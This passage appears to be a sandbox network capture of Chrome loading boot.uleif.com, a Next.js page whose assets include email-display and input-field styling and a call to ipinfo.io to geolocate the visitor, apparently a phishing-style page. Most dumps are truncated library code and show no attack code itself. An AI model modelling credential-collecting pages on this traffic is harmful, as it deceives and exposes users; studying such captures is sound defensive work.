document?document:void 0)))return null;try{return e.activeElement\|\|e.body}catch(n){return e.body}}function Z(
2024-10-11 18:29:08 UTC	7116	IN	Data Raw: 2b 2b 29 65 4e 28 6e 5b 65 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 65 4c 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 65 28 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 65 52 28 29 7b 7d 76 61 72 20 65 4d 3d 21 31 3b 66 75 6e 63 74 69 6f 6e 20 65 46 28 65 2c 6e 2c 74 29 7b 69 66 28 65 4d 29 72 65 74 75 72 6e 20 65 28 6e 2c 74 29 3b 65 4d 3d 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 65 4c 28 65 2c 6e 2c 74 29 7d 66 69 6e 61 6c 6c 79 7b 65 4d 3d 21 31 2c 28 6e 75 6c 6c 21 3d 3d 65 43 7c 7c 6e 75 6c 6c 21 3d 3d 65 50 29 26 26 28 65 52 28 29 2c 65 54 28 29 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 65 4f 28 65 2c 6e 29 7b 76 61 72 20 74 3d 65 2e 73 74 61 74 65 4e 6f 64 65 3b 69 66 28 6e 75 6c 6c 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 72 3d 72 55 28 74 29 3b Data Ascii: ++)eN(n[e])}}function eL(e,n){return e(n)}function eR(){}var eM=!1;function eF(e,n,t){if(eM)return e(n,t);eM=!0;try{return eL(e,n,t)}finally{eM=!1,(null!==eC\|\|null!==eP)&&(eR(),eT())}}function eO(e,n){var t=e.stateNode;if(null===t)return null;var r=rU(t);
2024-10-11 18:29:08 UTC	8302	IN	Data Raw: 61 73 65 22 70 6f 69 6e 74 65 72 6f 76 65 72 22 3a 76 61 72 20 61 3d 6c 2e 70 6f 69 6e 74 65 72 49 64 3b 72 65 74 75 72 6e 20 6e 53 2e 73 65 74 28 61 2c 6e 50 28 6e 53 2e 67 65 74 28 61 29 7c 7c 6e 75 6c 6c 2c 65 2c 6e 2c 74 2c 72 2c 6c 29 29 2c 21 30 3b 63 61 73 65 22 67 6f 74 70 6f 69 6e 74 65 72 63 61 70 74 75 72 65 22 3a 72 65 74 75 72 6e 20 61 3d 6c 2e 70 6f 69 6e 74 65 72 49 64 2c 6e 78 2e 73 65 74 28 61 2c 6e 50 28 6e 78 2e 67 65 74 28 61 29 7c 7c 6e 75 6c 6c 2c 65 2c 6e 2c 74 2c 72 2c 6c 29 29 2c 21 30 7d 72 65 74 75 72 6e 21 31 7d 28 6c 2c 65 2c 6e 2c 74 2c 72 29 29 72 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 3b 65 6c 73 65 20 69 66 28 6e 43 28 65 2c 72 29 2c 34 26 6e 26 26 2d 31 3c 6e 5f 2e 69 6e 64 65 78 4f 66 28 65 29 29 7b 66 6f Data Ascii: ase"pointerover":var a=l.pointerId;return nS.set(a,nP(nS.get(a)\|\|null,e,n,t,r,l)),!0;case"gotpointercapture":return a=l.pointerId,nx.set(a,nP(nx.get(a)\|\|null,e,n,t,r,l)),!0}return!1}(l,e,n,t,r))r.stopPropagation();else if(nC(e,r),4&n&&-1<n_.indexOf(e)){fo
2024-10-11 18:29:08 UTC	6676	IN	Data Raw: 66 28 72 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 7b 72 3d 72 2e 6e 65 78 74 53 69 62 6c 69 6e 67 3b 62 72 65 61 6b 20 65 7d 72 3d 72 2e 70 61 72 65 6e 74 4e 6f 64 65 7d 72 3d 76 6f 69 64 20 30 7d 72 3d 74 55 28 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 74 24 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 77 69 6e 64 6f 77 2c 6e 3d 47 28 29 3b 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 65 2e 48 54 4d 4c 49 46 72 61 6d 65 45 6c 65 6d 65 6e 74 3b 29 7b 74 72 79 7b 76 61 72 20 74 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 7d 63 61 74 63 68 28 65 29 7b 74 3d 21 31 7d 69 66 28 74 29 65 3d 6e 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 3b 65 6c 73 65 20 62 72 65 61 6b 3b 6e 3d 47 28 Data Ascii: f(r.nextSibling){r=r.nextSibling;break e}r=r.parentNode}r=void 0}r=tU(r)}}function t$(){for(var e=window,n=G();n instanceof e.HTMLIFrameElement;){try{var t="string"==typeof n.contentWindow.location.href}catch(e){t=!1}if(t)e=n.contentWindow;else break;n=G(
2024-10-11 18:29:08 UTC	10674	IN	Data Raw: 22 3a 63 61 73 65 22 70 6f 69 6e 74 65 72 63 61 6e 63 65 6c 22 3a 63 61 73 65 22 70 6f 69 6e 74 65 72 64 6f 77 6e 22 3a 63 61 73 65 22 70 6f 69 6e 74 65 72 6d 6f 76 65 22 3a 63 61 73 65 22 70 6f 69 6e 74 65 72 6f 75 74 22 3a 63 61 73 65 22 70 6f 69 6e 74 65 72 6f 76 65 72 22 3a 63 61 73 65 22 70 6f 69 6e 74 65 72 75 70 22 3a 69 3d 74 75 7d 76 61 72 20 63 3d 30 21 3d 28 34 26 6e 29 2c 66 3d 21 63 26 26 22 73 63 72 6f 6c 6c 22 3d 3d 3d 65 2c 64 3d 63 3f 6e 75 6c 6c 21 3d 3d 6f 3f 6f 2b 22 43 61 70 74 75 72 65 22 3a 6e 75 6c 6c 3a 6f 3b 63 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 70 2c 6d 3d 72 3b 6e 75 6c 6c 21 3d 3d 6d 3b 29 7b 76 61 72 20 68 3d 28 70 3d 6d 29 2e 73 74 61 74 65 4e 6f 64 65 3b 69 66 28 35 3d 3d 3d 70 2e 74 61 67 26 26 6e 75 6c 6c 21 3d 3d 68 26 Data Ascii: ":case"pointercancel":case"pointerdown":case"pointermove":case"pointerout":case"pointerover":case"pointerup":i=tu}var c=0!=(4&n),f=!c&&"scroll"===e,d=c?null!==o?o+"Capture":null:o;c=[];for(var p,m=r;null!==m;){var h=(p=m).stateNode;if(5===p.tag&&null!==h&
2024-10-11 18:29:08 UTC	11860	IN	Data Raw: 67 29 26 26 28 6e 3d 22 68 65 61 64 22 21 3d 3d 28 6e 3d 65 2e 74 79 70 65 29 26 26 22 62 6f 64 79 22 21 3d 3d 6e 26 26 21 72 62 28 65 2e 74 79 70 65 2c 65 2e 6d 65 6d 6f 69 7a 65 64 50 72 6f 70 73 29 29 2c 6e 26 26 28 6e 3d 6c 63 29 29 7b 69 66 28 6c 68 28 65 29 29 74 68 72 6f 77 20 6c 62 28 29 2c 45 72 72 6f 72 28 66 28 34 31 38 29 29 3b 66 6f 72 28 3b 6e 3b 29 6c 70 28 65 2c 6e 29 2c 6e 3d 72 43 28 6e 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 7d 69 66 28 6c 76 28 65 29 2c 31 33 3d 3d 3d 65 2e 74 61 67 29 7b 69 66 28 21 28 65 3d 6e 75 6c 6c 21 3d 3d 28 65 3d 65 2e 6d 65 6d 6f 69 7a 65 64 53 74 61 74 65 29 3f 65 2e 64 65 68 79 64 72 61 74 65 64 3a 6e 75 6c 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 66 28 33 31 37 29 29 3b 65 3a 7b 66 6f 72 28 6e 3d 30 2c Data Ascii: g)&&(n="head"!==(n=e.type)&&"body"!==n&&!rb(e.type,e.memoizedProps)),n&&(n=lc)){if(lh(e))throw lb(),Error(f(418));for(;n;)lp(e,n),n=rC(n.nextSibling)}if(lv(e),13===e.tag){if(!(e=null!==(e=e.memoizedState)?e.dehydrated:null))throw Error(f(317));e:{for(n=0,
2024-10-11 18:29:08 UTC	10234	IN	Data Raw: 3d 3d 61 6c 26 26 6e 75 6c 6c 21 3d 3d 61 6c 2e 6e 65 78 74 2c 61 74 3d 30 2c 61 61 3d 61 6c 3d 61 72 3d 6e 75 6c 6c 2c 61 75 3d 21 31 2c 6e 29 74 68 72 6f 77 20 45 72 72 6f 72 28 66 28 33 30 30 29 29 3b 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 61 70 28 29 7b 76 61 72 20 65 3d 30 21 3d 3d 61 69 3b 72 65 74 75 72 6e 20 61 69 3d 30 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 61 6d 28 29 7b 76 61 72 20 65 3d 7b 6d 65 6d 6f 69 7a 65 64 53 74 61 74 65 3a 6e 75 6c 6c 2c 62 61 73 65 53 74 61 74 65 3a 6e 75 6c 6c 2c 62 61 73 65 51 75 65 75 65 3a 6e 75 6c 6c 2c 71 75 65 75 65 3a 6e 75 6c 6c 2c 6e 65 78 74 3a 6e 75 6c 6c 7d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 61 61 3f 61 72 2e 6d 65 6d 6f 69 7a 65 64 53 74 61 74 65 3d 61 61 3d 65 3a 61 61 3d 61 61 2e Data Ascii: ==al&&null!==al.next,at=0,aa=al=ar=null,au=!1,n)throw Error(f(300));return e}function ap(){var e=0!==ai;return ai=0,e}function am(){var e={memoizedState:null,baseState:null,baseQueue:null,queue:null,next:null};return null===aa?ar.memoizedState=aa=e:aa=aa.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49754	76.76.21.21	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:08 UTC	388	OUT	GET /_next/static/chunks/pages/_app-301076f909f3a9e7.js HTTP/1.1 Host: boot.uleif.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 18:29:08 UTC	578	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 113062 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="_app-301076f909f3a9e7.js" Content-Length: 442 Content-Type: application/javascript; charset=utf-8 Date: Fri, 11 Oct 2024 18:29:08 GMT Etag: "5d9e833313893a485f61fd8f483d2036" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/pages/_app-301076f909f3a9e7.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::l9ckx-1728671348483-28cd62823c00 Connection: close
2024-10-11 18:29:08 UTC	442	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 38 38 38 5d 2c 7b 31 31 31 38 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 75 2c 74 29 7b 28 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 3d 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 22 2f 5f 61 70 70 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 28 34 39 32 36 29 7d 5d 29 7d 2c 34 39 32 36 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 75 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 2e 72 28 75 29 3b 76 61 72 20 5f 3d 74 28 35 38 39 33 29 3b 74 28 33 34 33 34 29 2c 75 2e 64 65 66 61 75 6c 74 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 65 74 7b Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[888],{1118:function(n,u,t){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/_app",function(){return t(4926)}])},4926:function(n,u,t){"use strict";t.r(u);var _=t(5893);t(3434),u.default=function(n){let{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49759	76.76.21.21	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:08 UTC	389	OUT	GET /_next/static/chunks/pages/index-ebc524c6a07e276b.js HTTP/1.1 Host: boot.uleif.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 18:29:08 UTC	581	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 113062 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="index-ebc524c6a07e276b.js" Content-Length: 2749 Content-Type: application/javascript; charset=utf-8 Date: Fri, 11 Oct 2024 18:29:08 GMT Etag: "4c3c0941f67cf08111cdaa03be3c3f18" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/pages/index-ebc524c6a07e276b.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::vcsbg-1728671348559-6ba8f6eb75c3 Connection: close
2024-10-11 18:29:08 UTC	2372	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 34 30 35 5d 2c 7b 35 35 35 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 73 29 7b 28 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 3d 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 22 2f 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 28 39 38 32 38 29 7d 5d 29 7d 2c 39 38 32 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 73 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 73 2e 72 28 74 29 2c 73 2e 64 28 74 2c 7b 64 65 66 61 75 6c 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 3b 76 61 72 20 6e 3d 73 28 35 38 39 33 29 2c Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[405],{5557:function(e,t,s){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/",function(){return s(9828)}])},9828:function(e,t,s){"use strict";s.r(t),s.d(t,{default:function(){return c}});var n=s(5893),
2024-10-11 18:29:08 UTC	377	IN	Data Raw: 6c 6f 67 6f 3a 22 48 6f 6d 65 5f 6c 6f 67 6f 5f 5f 49 4f 51 41 58 22 2c 6d 65 73 73 61 67 65 3a 22 48 6f 6d 65 5f 6d 65 73 73 61 67 65 5f 5f 4f 4b 4c 32 6d 22 2c 64 69 73 70 6c 61 79 45 6d 61 69 6c 3a 22 48 6f 6d 65 5f 64 69 73 70 6c 61 79 45 6d 61 69 6c 5f 5f 48 4f 47 67 6b 22 2c 69 6e 70 75 74 46 69 65 6c 64 3a 22 48 6f 6d 65 5f 69 6e 70 75 74 46 69 65 6c 64 5f 5f 68 38 32 57 31 22 2c 62 75 74 74 6f 6e 43 6f 6e 74 61 69 6e 65 72 3a 22 48 6f 6d 65 5f 62 75 74 74 6f 6e 43 6f 6e 74 61 69 6e 65 72 5f 5f 6e 4f 56 75 59 22 2c 73 75 62 6d 69 74 42 75 74 74 6f 6e 3a 22 48 6f 6d 65 5f 73 75 62 6d 69 74 42 75 74 74 6f 6e 5f 5f 45 43 7a 49 59 22 2c 6e 65 78 74 42 75 74 74 6f 6e 3a 22 48 6f 6d 65 5f 6e 65 78 74 42 75 74 74 6f 6e 5f 5f 72 5f 4b 73 73 22 2c 65 72 72 Data Ascii: logo:"Home_logo__IOQAX",message:"Home_message__OKL2m",displayEmail:"Home_displayEmail__HOGgk",inputField:"Home_inputField__h82W1",buttonContainer:"Home_buttonContainer__nOVuY",submitButton:"Home_submitButton__ECzIY",nextButton:"Home_nextButton__r_Kss",err

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49753	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:08 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-11 18:29:08 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=80175 Date: Fri, 11 Oct 2024 18:29:08 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49760	34.117.59.81	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:08 UTC	590	OUT	GET /json?token=c3e87e382ddea7 HTTP/1.1 Host: ipinfo.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/plain, / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://boot.uleif.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://boot.uleif.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 18:29:08 UTC	457	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 274 content-type: application/json; charset=utf-8 date: Fri, 11 Oct 2024 18:29:08 GMT referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-11 18:29:08 UTC	274	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 Data Ascii: { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level 3 Parent, LLC", "postal": "10001", "timezone": "

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49762	76.76.21.21	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:09 UTC	584	OUT	GET /favicon.ico HTTP/1.1 Host: boot.uleif.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://boot.uleif.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 18:29:09 UTC	506	IN	HTTP/1.1 404 Not Found Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 113062 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline; filename="404" Content-Length: 2169 Content-Type: text/html; charset=utf-8 Date: Fri, 11 Oct 2024 18:29:09 GMT Etag: "0b97498a23a52dad526fdf5a9089d4fd" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /404 X-Vercel-Cache: HIT X-Vercel-Id: iad1::rcpqc-1728671349155-0eb83be85d58 Connection: close
2024-10-11 18:29:09 UTC	2169	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 2f 3e 3c 74 69 74 6c 65 3e 34 30 34 3a 20 54 68 69 73 20 70 61 67 65 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6e 65 78 74 2d 68 65 61 64 2d 63 6f 75 6e 74 22 20 63 6f 6e 74 65 6e 74 3d 22 33 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 73 73 2f 30 35 61 37 30 32 65 35 35 66 31 38 30 36 63 37 2e 63 73 Data Ascii: <!DOCTYPE html><html><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width"/><title>404: This page could not be found</title><meta name="next-head-count" content="3"/><link rel="preload" href="/_next/static/css/05a702e55f1806c7.cs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49765	76.76.21.21	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:09 UTC	381	OUT	GET /_next/static/chunks/669-1b66ac76fc7185ce.js HTTP/1.1 Host: boot.uleif.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 18:29:09 UTC	572	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 113063 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="669-1b66ac76fc7185ce.js" Content-Length: 20198 Content-Type: application/javascript; charset=utf-8 Date: Fri, 11 Oct 2024 18:29:09 GMT Etag: "aaef113beb077a512579df8c1f10da88" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/669-1b66ac76fc7185ce.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::chsdz-1728671349155-1cf4521b3237 Connection: close
2024-10-11 18:29:09 UTC	2372	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 36 36 39 5d 2c 7b 39 36 36 39 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 65 2e 65 78 70 6f 72 74 73 3d 72 28 31 36 30 39 29 7d 2c 35 34 34 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 34 38 36 37 29 2c 6f 3d 72 28 36 30 32 36 29 2c 69 3d 72 28 34 33 37 32 29 2c 73 3d 72 28 35 33 32 37 29 2c 61 3d 72 28 34 30 39 37 29 2c 75 3d 72 28 34 31 30 39 29 2c 63 3d 72 28 37 39 38 35 29 2c 66 3d 72 28 35 30 36 31 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 50 Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[669],{9669:function(e,t,r){e.exports=r(1609)},5448:function(e,t,r){"use strict";var n=r(4867),o=r(6026),i=r(4372),s=r(5327),a=r(4097),u=r(4109),c=r(7985),f=r(5061);e.exports=function(e){return new P
2024-10-11 18:29:09 UTC	983	IN	Data Raw: 6e 3d 72 28 34 39 37 32 29 2c 75 2e 69 73 43 61 6e 63 65 6c 3d 72 28 36 35 30 32 29 2c 75 2e 61 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 2e 61 6c 6c 28 65 29 7d 2c 75 2e 73 70 72 65 61 64 3d 72 28 38 37 31 33 29 2c 75 2e 69 73 41 78 69 6f 73 45 72 72 6f 72 3d 72 28 36 32 36 38 29 2c 65 2e 65 78 70 6f 72 74 73 3d 75 2c 65 2e 65 78 70 6f 72 74 73 2e 64 65 66 61 75 6c 74 3d 75 7d 2c 35 32 36 33 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 65 7d 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 43 61 6e 63 65 6c 22 2b 28 74 68 69 73 2e Data Ascii: n=r(4972),u.isCancel=r(6502),u.all=function(e){return Promise.all(e)},u.spread=r(8713),u.isAxiosError=r(6268),e.exports=u,e.exports.default=u},5263:function(e){"use strict";function t(e){this.message=e}t.prototype.toString=function(){return"Cancel"+(this.
2024-10-11 18:29:09 UTC	4744	IN	Data Raw: 65 77 20 69 2c 72 65 73 70 6f 6e 73 65 3a 6e 65 77 20 69 7d 7d 66 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 71 75 65 73 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 28 65 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 7c 7c 7b 7d 2c 65 2e 75 72 6c 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 29 3a 65 3d 65 7c 7c 7b 7d 2c 28 65 3d 61 28 74 68 69 73 2e 64 65 66 61 75 6c 74 73 2c 65 29 29 2e 6d 65 74 68 6f 64 3f 65 2e 6d 65 74 68 6f 64 3d 65 2e 6d 65 74 68 6f 64 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3a 74 68 69 73 2e 64 65 66 61 75 6c 74 73 2e 6d 65 74 68 6f 64 3f 65 2e 6d 65 74 68 6f 64 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 73 2e 6d 65 74 68 6f 64 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3a 65 2e 6d 65 74 68 6f 64 Data Ascii: ew i,response:new i}}f.prototype.request=function(e){"string"==typeof e?(e=arguments[1]\|\|{},e.url=arguments[0]):e=e\|\|{},(e=a(this.defaults,e)).method?e.method=e.method.toLowerCase():this.defaults.method?e.method=this.defaults.method.toLowerCase():e.method
